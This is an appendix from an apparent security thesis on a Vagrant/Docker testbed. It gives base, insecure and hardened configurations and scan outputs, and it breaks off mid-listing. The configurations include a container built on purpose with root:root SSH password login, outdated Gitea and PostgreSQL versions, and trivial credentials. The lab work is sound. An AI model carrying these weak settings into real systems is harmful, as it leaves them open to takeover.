% Hier können Sie Ihre KI-Tools dokumentieren. Diese werden automatisch in eine Tabelle integriert.
\aitoolentry{GPT-4o}{Proofreading}{``Hello, I'm writing my bachelor thesis with the title `<title>'. Can you help me proofread my work? I'd prefer you to explain the issues in the original than to simply correct them! I will send you individual sections as they are ready. Focus on sentence structure, clarity, and grammar and spelling mistakes.'', Entire Document}
\aitoolentry{DeepL}{Translation}{<Abstract>}
\aitoolentry{GPT-o3}{Improving coherency of translations}{``Hallo, ich habe einen Abstract aus dem Englischen übersetzt, der aber jetzt gekünstelt klingt. Kannst du mir helfen ihn zu verbessern?: <Abstract>'', Abstract}
%
% Hier beginnen die Verzeichnisse
%
\clearpage
\printbibliography
\clearpage
% Das Abbildungsverzeichnis
\listoffigures
\clearpage
% Das Tabellenverzeichnis
\listoftables
\clearpage
% Das Verzeichnis über die verwendeten KI-Tools
\listaitools
\clearpage
\phantomsection
\addcontentsline{toc}{chapter}{\listacroname}
\chapter*{\listacroname}
\begin{acronym}[XXXXX]
\acro{VM}[VM]{virtual machine}
\acro{OS}[OS]{Operating System}
\acro{HTTP}[HTTP]{Hypertext Transfer Protocol}
\acro{HTTPS}[HTTPS]{Hypertext Transfer Protocol Secure}
\acro{SSH}[SSH]{Secure Shell}
\acro{TLS}[TLS]{Transport Layer Security}
\acro{SSL}[SSL]{Secure Sockets Layer}
\acro{CI}[CI]{continuous integration}
\acro{DoS}[DoS]{denial of service}
\acro{RCE}[RCE]{remote code-execution}
\end{acronym}
%
% Hier beginnt der Anhang.
%
\clearpage
\appendix
%\chapter{Mermaid Source Code}\label{appendix_mermaid}
%\clearpage
\chapter{Source Code}\label{appendix_config}
\section{Base Configuration}\label{appendix_base_config}
\begin{code}
\captionof{listing}{\texttt{./base/Vagrantfile}}
\label{code:Vagrantfile}
\begin{minted}[breaklines,fontsize=\footnotesize]{ruby}
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
sandbox.vm.box_version = BOX_VERSION
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
sandbox.vm.provision "file", source: "./idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
client.vm.box = DESKTOP_BOX_NAME
client.vm.box_version = DESKTOP_BOX_VERSION
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
end
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/sandbox/docker-compose.yml}}
\label{code:sandbox:docker}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
services:
vaultwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: unless-stopped
networks:
- nginx
- vaultwarden
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
vaultwarden-db:
image: docker.io/library/postgres:latest
container_name: vaultwarden-db
restart: unless-stopped
environment:
POSTGRES_DB: vaultwarden
POSTGRES_USER: vaultwarden
POSTGRES_PASSWORD: vaultwarden
volumes:
- ./vw-postgres:/var/lib/postgresql/data
networks:
- vaultwarden
gitea:
image: docker.gitea.com/gitea:latest
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- GITEA__database__HOST=gitea-db:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- nginx
- gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
expose:
- 3000
- 22
gitea-db:
image: docker.io/library/postgres:latest
container_name: gitea-db
restart: unless-stopped
environment:
- POSTGRES_USER=gitea
- POSTGRES_PASSWORD=gitea
- POSTGRES_DB=gitea
volumes:
- ./postgres:/var/lib/postgresql/data
networks:
- gitea
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- nginx
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- nginx
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- 80:80
- 443:443
networks:
nginx:
driver: bridge
gitea:
driver: bridge
vaultwarden:
driver: bridge
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/sandbox/playbook.yml}}
\label{code:sandbox:ansible}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
- name: Install required system packages
apt:
pkg:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- virtualenv
- bc
- sysstat
state: latest
update_cache: true
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
dest: /home/vagrant/nginx.conf
- name: Copy docker compose
copy:
src: /vagrant/sandbox/docker-compose.yml
dest: /home/vagrant/docker-compose.yml
- name: Ensure certs directory exists
file:
path: /home/vagrant/nginx/certs
state: directory
mode: '0755'
- name: Install mkcert dependencies
apt:
pkg:
- libnss3-tools
- ca-certificates
state: present
update_cache: yes
- name: Download mkcert binary
get_url:
url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
dest: /usr/local/bin/mkcert
mode: '0755'
register: mkcert_download
- name: Ensure mkcert CAROOT directory exists
file:
path: /home/vagrant/.local/share/mkcert
state: directory
mode: '0755'
- name: Initialize mkcert CA
command: mkcert -install
environment:
XDG_DATA_HOME: /home/vagrant/.local/share
CAROOT: /home/vagrant/.local/share/mkcert
args:
creates: /home/vagrant/.local/share/mkcert/rootCA.pem
- name: Generate cert for gitea.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
-key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
gitea.vm.local
args:
creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
- name: Generate cert for bitwarden.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
-key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
bitwarden.vm.local
args:
creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
- name: Ensure export directory exists
file:
path: /vagrant/shared/ca
state: directory
mode: '0755'
- name: Copy mkcert rootCA.pem to shared directory
copy:
src: /home/vagrant/.local/share/mkcert/rootCA.pem
dest: /vagrant/shared/ca/rootCA.pem
remote_src: yes
- name: Add Docker GPG apt Key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: Add Docker Repository
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu focal stable
state: present
- name: Update apt and install docker-ce
apt:
pkg:
- docker-ce
- docker-compose-plugin
state: latest
update_cache: true
- name: Add 'vagrant' and 'git' users to docker group
user:
name: "{{ item }}"
groups: docker
append: yes
loop:
- vagrant
- git
- name: Create git user
user:
name: git
shell: /home/git/docker-shell
home: /home/git
create_home: yes
- name: Deploy docker passthrough shell
copy:
dest: /home/git/docker-shell
content: |
#!/bin/sh
exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
mode: '0755'
- name: Update SSH config for git user
blockinfile:
path: /etc/ssh/sshd_config
block: |
Match User git
AuthorizedKeysCommandUser git
AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
- name: Restart SSH
service:
name: ssh
state: restarted
- name: Ensure Docker service is running
service:
name: docker
state: started
enabled: true
- name: Run docker compose up -d
command: docker compose up -d
args:
chdir: /home/vagrant
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/sandbox/nginx.conf}}
\label{code:sandbox:nginx}
\begin{minted}[breaklines,fontsize=\footnotesize]{text}
server {
listen 443 ssl;
server_name gitea.vm.local;
ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
location / {
proxy_pass http://gitea:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 443 ssl;
server_name bitwarden.vm.local;
ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
location / {
proxy_pass http://vaultwarden:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 80;
server_name _;
return 301 https://$host$request_uri;
}
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/client/playbook.yml}}
\label{code:client:ansible}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
# - name: Add Metasploit PPA
# apt_repository:
# repo: ppa:metasploit-official
# state: present
# update_cache: yes
- name: Install tools
apt:
pkg:
# - metasploit-framework
- curl
- nmap
- libnss3-tools
state: present
update_cache: yes
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/sandbox/vuln/Dockerfile}}
\label{code:sandbox:vuln_docker}
\begin{minted}[breaklines,fontsize=\footnotesize]{Dockerfile}
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{./base/idle\_measurement.sh}}
\label{code:idle_measure}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
#!/bin/bash
# idle_measurement.sh
# Usage: ./idle_measurement.sh output.csv
OUTPUT_FILE="$1"
if [[ -z "$OUTPUT_FILE" ]]; then
echo "Usage: $0 output_file.csv"
exit 1
fi
echo "Sample,CPU_idle_percent,Mem_available_MB" > "$OUTPUT_FILE"
echo "Starting idle measurement for 60 samples (1 per second)"
echo ""
CPU_TOTAL=0
MEM_TOTAL=0
SAMPLES=60
for i in $(seq 1 $SAMPLES); do
# mpstat waits 1 second and returns average for that interval
CPU_IDLE=$(mpstat 1 1 | awk '/Average/ && $NF ~ /[0-9.]+/ {print $NF}')
MEM_AVAILABLE=$(free -m | awk '/^Mem:/ {print $7}')
CPU_TOTAL=$(echo "$CPU_TOTAL + $CPU_IDLE" | bc)
MEM_TOTAL=$(echo "$MEM_TOTAL + $MEM_AVAILABLE" | bc)
echo "$i,$CPU_IDLE,$MEM_AVAILABLE" >> "$OUTPUT_FILE"
printf "Sample %2d: CPU idle = %5.1f%% | Available memory = %6d MB\n" "$i" "$CPU_IDLE" "$MEM_AVAILABLE"
done
CPU_AVG=$(echo "scale=2; $CPU_TOTAL / $SAMPLES" | bc)
MEM_AVG=$(echo "scale=2; $MEM_TOTAL / $SAMPLES" | bc)
echo ""
echo "Results saved to: $OUTPUT_FILE"
echo "Average CPU idle: $CPU_AVG%"
echo "Average Free Memory: $MEM_AVG MB"
\end{minted}
\end{code}
\clearpage
\section{Configuration Modifications}\label{appendix_patches}
\begin{code}
\captionof{listing}{Hybrid configuration, apply to the base configuration: \texttt{cp -r base hybrid \&\& patch -p1 -d hybrid < hybrid.patch}}
\label{patch:hybrid}
\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.yml
--- base/sandbox/docker-compose.yml 2025-05-16 19:46:23.713755709 +0200
+++ hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
@@ -4,28 +4,16 @@
container_name: vaultwarden
restart: unless-stopped
networks:
- - nginx
- - vaultwarden
+ - internal
environment:
DOMAIN: "https://bitwarden.vm.local"
- DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db:5432/vaultwarden"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
-
- vaultwarden-db:
- image: docker.io/library/postgres:latest
- container_name: vaultwarden-db
- restart: unless-stopped
- environment:
- POSTGRES_DB: vaultwarden
- POSTGRES_USER: vaultwarden
- POSTGRES_PASSWORD: vaultwarden
- volumes:
- - ./vw-postgres:/var/lib/postgresql/data
- networks:
- - vaultwarden
+ extra_hosts:
+ - "postgres:172.18.0.1"
gitea:
image: docker.gitea.com/gitea:latest
@@ -34,15 +22,14 @@
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- - GITEA__database__HOST=gitea-db:5432
+ - GITEA__database__HOST=postgres:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- - nginx
- - gitea
+ - internal
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
@@ -50,33 +37,24 @@
expose:
- 3000
- 22
-
- gitea-db:
- image: docker.io/library/postgres:latest
- container_name: gitea-db
- restart: unless-stopped
- environment:
- - POSTGRES_USER=gitea
- - POSTGRES_PASSWORD=gitea
- - POSTGRES_DB=gitea
- volumes:
- - ./postgres:/var/lib/postgresql/data
- networks:
- - gitea
+ extra_hosts:
+ - "postgres:172.18.0.1"
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- - nginx
+ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- - nginx
+ - internal
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
@@ -85,9 +63,9 @@
- 443:443
networks:
- nginx:
- driver: bridge
- gitea:
+ internal:
driver: bridge
- vaultwarden:
- driver: bridge
\ No newline at end of file
+ ipam:
+ config:
+ - subnet: 172.18.0.0/16
+ gateway: 172.18.0.1
\ No newline at end of file
diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
--- base/sandbox/playbook.yml 2025-05-17 15:34:39.895845622 +0200
+++ hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
@@ -15,6 +15,9 @@
- curl
- software-properties-common
- virtualenv
+ - python3-psycopg2
+ - postgresql
+ - acl
- bc
- sysstat
state: latest
@@ -150,6 +153,62 @@
name: ssh
state: restarted
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+ state: present
+ notify: Restart PostgreSQL
+
- name: Ensure Docker service is running
service:
name: docker
@@ -159,4 +218,12 @@
- name: Run docker compose up -d
command: docker compose up -d
args:
- chdir: /home/vagrant
\ No newline at end of file
+ chdir: /home/vagrant
+
+
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
+ state: restarted
\ No newline at end of file
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Insecure configuration, apply to the hybrid configuration: \texttt{cp -r hybrid insecure \&\& patch -p1 -d insecure < insecure.patch}}
\label{patch:insecure}
\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
diff --color -ruN hybrid/sandbox/docker-compose.yml insecure/sandbox/docker-compose.yml
--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
+++ insecure/sandbox/docker-compose.yml 2025-05-19 13:21:23.282832190 +0200
@@ -16,7 +16,7 @@
- "postgres:172.18.0.1"
gitea:
- image: docker.gitea.com/gitea:latest
+ image: docker.gitea.com/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
@@ -27,6 +27,8 @@
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
+ - GITEA__server__ROOT_URL=https://gitea.vm.local/
+ - GITEA__migrations__ALLOW_LOCALNETWORKS=true
restart: unless-stopped
networks:
- internal
@@ -34,6 +36,8 @@
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
+ ports:
+ - 3000:3000
expose:
- 3000
- 22
diff --color -ruN hybrid/sandbox/playbook.yml insecure/sandbox/playbook.yml
--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
+++ insecure/sandbox/playbook.yml 2025-05-18 20:20:58.296668091 +0200
@@ -7,6 +7,17 @@
default_container_image: hello-world
default_container_command: sleep 1
tasks:
+ - name: Add PostgreSQL APT repository key
+ apt_key:
+ url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
+ state: present
+
+ - name: Add PostgreSQL APT repository
+ apt_repository:
+ repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
+ state: present
+ filename: 'pgdg'
+
- name: Install required system packages
apt:
pkg:
@@ -16,12 +27,17 @@
- software-properties-common
- virtualenv
- python3-psycopg2
- - postgresql
- acl
- bc
- sysstat
state: latest
update_cache: true
+
+ - name: Install PostgreSQL 9.6
+ apt:
+ name: postgresql-9.6
+ state: present
+ update_cache: yes
- name: Copy nginx conf
copy:
@@ -194,7 +210,7 @@
- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
- path: /etc/postgresql/14/main/postgresql.conf
+ path: /etc/postgresql/9.6/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
@@ -202,7 +218,7 @@
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
- path: /etc/postgresql/14/main/pg_hba.conf
+ path: /etc/postgresql/9.6/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Hardened configuration, apply to the hybrid configuration: \texttt{cp -r hybrid hardened \&\& patch -p1 -d hardened < hardened.patch}}
\label{patch:hardened}
\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
diff --color -ruN hybrid/sandbox/docker-compose.yml hardened/sandbox/docker-compose.yml
--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
+++ hardened/sandbox/docker-compose.yml 2025-05-19 17:33:43.963243018 +0200
@@ -14,6 +14,15 @@
- 80
extra_hosts:
- "postgres:172.18.0.1"
+ deploy:
+ resources:
+ limits:
+ memory: 256M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 128M
+ cpus: '0.10'
gitea:
image: docker.gitea.com/gitea:latest
@@ -39,15 +48,20 @@
- 22
extra_hosts:
- "postgres:172.18.0.1"
-
- vulnerable:
- build: /vagrant/sandbox/vuln
- ports:
- - 2222:22
- networks:
- - internal
- extra_hosts:
- - "postgres:172.18.0.1"
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
+ interval: 1m30s
+ timeout: 10s
+ retries: 3
+ deploy:
+ resources:
+ limits:
+ memory: 512M
+ cpus: '0.50'
+ pids: 100
+ reservations:
+ memory: 256M
+ cpus: '0.25'
nginx:
image: nginx:latest
@@ -59,8 +73,22 @@
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- - 80:80
- - 443:443
+ - 0.0.0.0:80:80
+ - 0.0.0.0:443:443
+ deploy:
+ resources:
+ limits:
+ memory: 128M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 64M
+ cpus: '0.10'
+ read_only: true
+ tmpfs:
+ - /tmp
+ - /run
+ - /var/cache/nginx
networks:
internal:
diff --color -ruN hybrid/sandbox/playbook.yml hardened/sandbox/playbook.yml
--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
+++ hardened/sandbox/playbook.yml 2025-05-19 18:21:22.570964238 +0200
@@ -20,9 +20,10 @@
- acl
- bc
- sysstat
+ - auditd
state: latest
update_cache: true
-
+
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
@@ -209,6 +210,63 @@
state: present
notify: Restart PostgreSQL
+ - name: Configure audit rules for Docker
+ copy:
+ dest: /etc/audit/rules.d/docker.rules
+ owner: root
+ group: root
+ mode: '0640'
+ content: |
+ -w /usr/bin/dockerd -k docker
+ -w /run/containerd -k docker
+ -w /var/lib/docker -k docker
+ -w /etc/docker -k docker
+ -w /lib/systemd/system/docker.service -k docker
+ -w /run/containerd/containerd.sock -k docker
+ -w /var/run/docker.sock -k docker
+ -w /etc/default/docker -k docker
+ -w /etc/docker/daemon.json -k docker
+ -w /etc/containerd/config.toml -k docker
+ -w /etc/sysconfig/docker -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+ -w /usr/lib/systemd/system/docker.socket -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+
+ - name: Restart auditd to apply new rules
+ service:
+ name: auditd
+ state: restarted
+ enabled: yes
+
+ - name: Ensure Docker daemon configuration is hardened
+ copy:
+ dest: /etc/docker/daemon.json
+ owner: root
+ group: root
+ mode: '0644'
+ content: |
+ {
+ "live-restore": true,
+ "icc": false,
+ "no-new-privileges": true,
+ "log-level": "info",
+ "log-driver": "json-file",
+ "log-opts": {
+ "max-size": "10m",
+ "max-file": "3"
+ },
+ "userland-proxy": false
+ }
+ notify: Restart Docker
+
- name: Ensure Docker service is running
service:
name: docker
@@ -220,10 +278,15 @@
args:
chdir: /home/vagrant
-
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
+ state: restarted
+
+ - name: Restart Docker
+ become: yes
+ systemd:
+ name: docker
state: restarted
\ No newline at end of file
\end{minted}
\end{code}
\clearpage
\chapter{Test Results}\label{appendix_results}
\section{Command Outputs}\label{appendix_logs}
All commands shown in the following section are either bash commands, or metasploit commands\footnote{Metasploit commands are entered into the metasploit console after starting it using the command \texttt{msfconsole}}, if not indicated otherwise. As metasploit commands usually consist of multiple configuration options, the listing itself often contains further commands, which are indicated by the default greater-than symbol.
\begin{code}
\captionof{listing}{\texttt{nmap -sS 192.168.56.10} on the base system (client)}
\label{log:base:nmap_sS}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 12:10 EDT
Nmap scan report for gitea.vm.local (192.168.56.10)
Host is up (0.00011s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
MAC Address: 08:00:27:D6:26:3F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kI 192.168.56.10} on the base system (client)}
\label{log:base:curl_I}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:21:48 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://192.168.56.10/
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kIL bitwarden.vm.local} on the base system (client)}
\label{log:base:curl_IL_bitwarden}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:27:44 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://bitwarden.vm.local/
HTTP/1.1 200 OK
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:27:44 GMT
Content-Length: 0
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
referrer-policy: same-origin
x-robots-tag: noindex, nofollow
x-xss-protection: 0
cross-origin-resource-policy: same-origin
content-security-policy: default-src 'none'; font-src 'self'; manifest-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-ancestors 'self' chrome-extension://nngceckbapebfimnlniiiahkandclblb chrome-extension://jbkfoedolllekgbhcbcoahefnbanhhlh moz-extension://* ; img-src 'self' data: https://haveibeenpwned.com ; connect-src 'self' https://api.pwnedpasswords.com https://api.2fa.directory https://app.simplelogin.io/api/ https://app.addy.io/api/ https://api.fastmail.com/ https://api.forwardemail.net ;
cache-control: no-cache, no-store, max-age=0
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kL bitwarden.vm.local} on the base system (client)}
\label{log:base:curl_L_bitwarden}
\begin{minted}[breaklines,fontsize=\footnotesize]{html}
<!doctype html><html class="theme_light"><head><meta charset="utf-8"/><meta name="viewport" content="width=1010"/><meta name="theme-color" content="#175DDC"/><title page-title>Vaultwarden Web</title><link rel="apple-touch-icon" sizes="180x180" href="images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="images/favicon-16x16.png"/><link rel="mask-icon" href="images/safari-pinned-tab.svg" color="#175DDC"/><link rel="manifest" href="cca56971e438d22818d6.json"/><link rel="stylesheet" href="css/vaultwarden.css"/><script defer="defer" src="theme_head.4cb181fc19f2a308ba73.js"></script><link href="styles.210448eea764e08cd3db.css" rel="stylesheet"></head><body class="layout_frontend"><app-root><div class="tw-p-8 tw-flex"><img class="new-logo-themed" alt="Vaultwarden"/><div class="spinner-container tw-justify-center"><i class="bwi bwi-spinner bwi-spin bwi-3x tw-text-muted" title="Loading" aria-hidden="true"></i></div></div></app-root><script defer="defer" src="app/polyfills.c5a5bb8e63f572e1aad3.js"></script><script defer="defer" src="app/vendor.a472624478da807c2f59.js"></script><script defer="defer" src="app/main.d867124a6761f6de6826.js"></script><script defer="defer" src="styles.31d6cfe0d16ae931b73c.js"></script></body></html>
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kIL gitea.vm.local} on the base system (client)}
\label{log:base:curl_IL_gitea}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:35:10 GMT
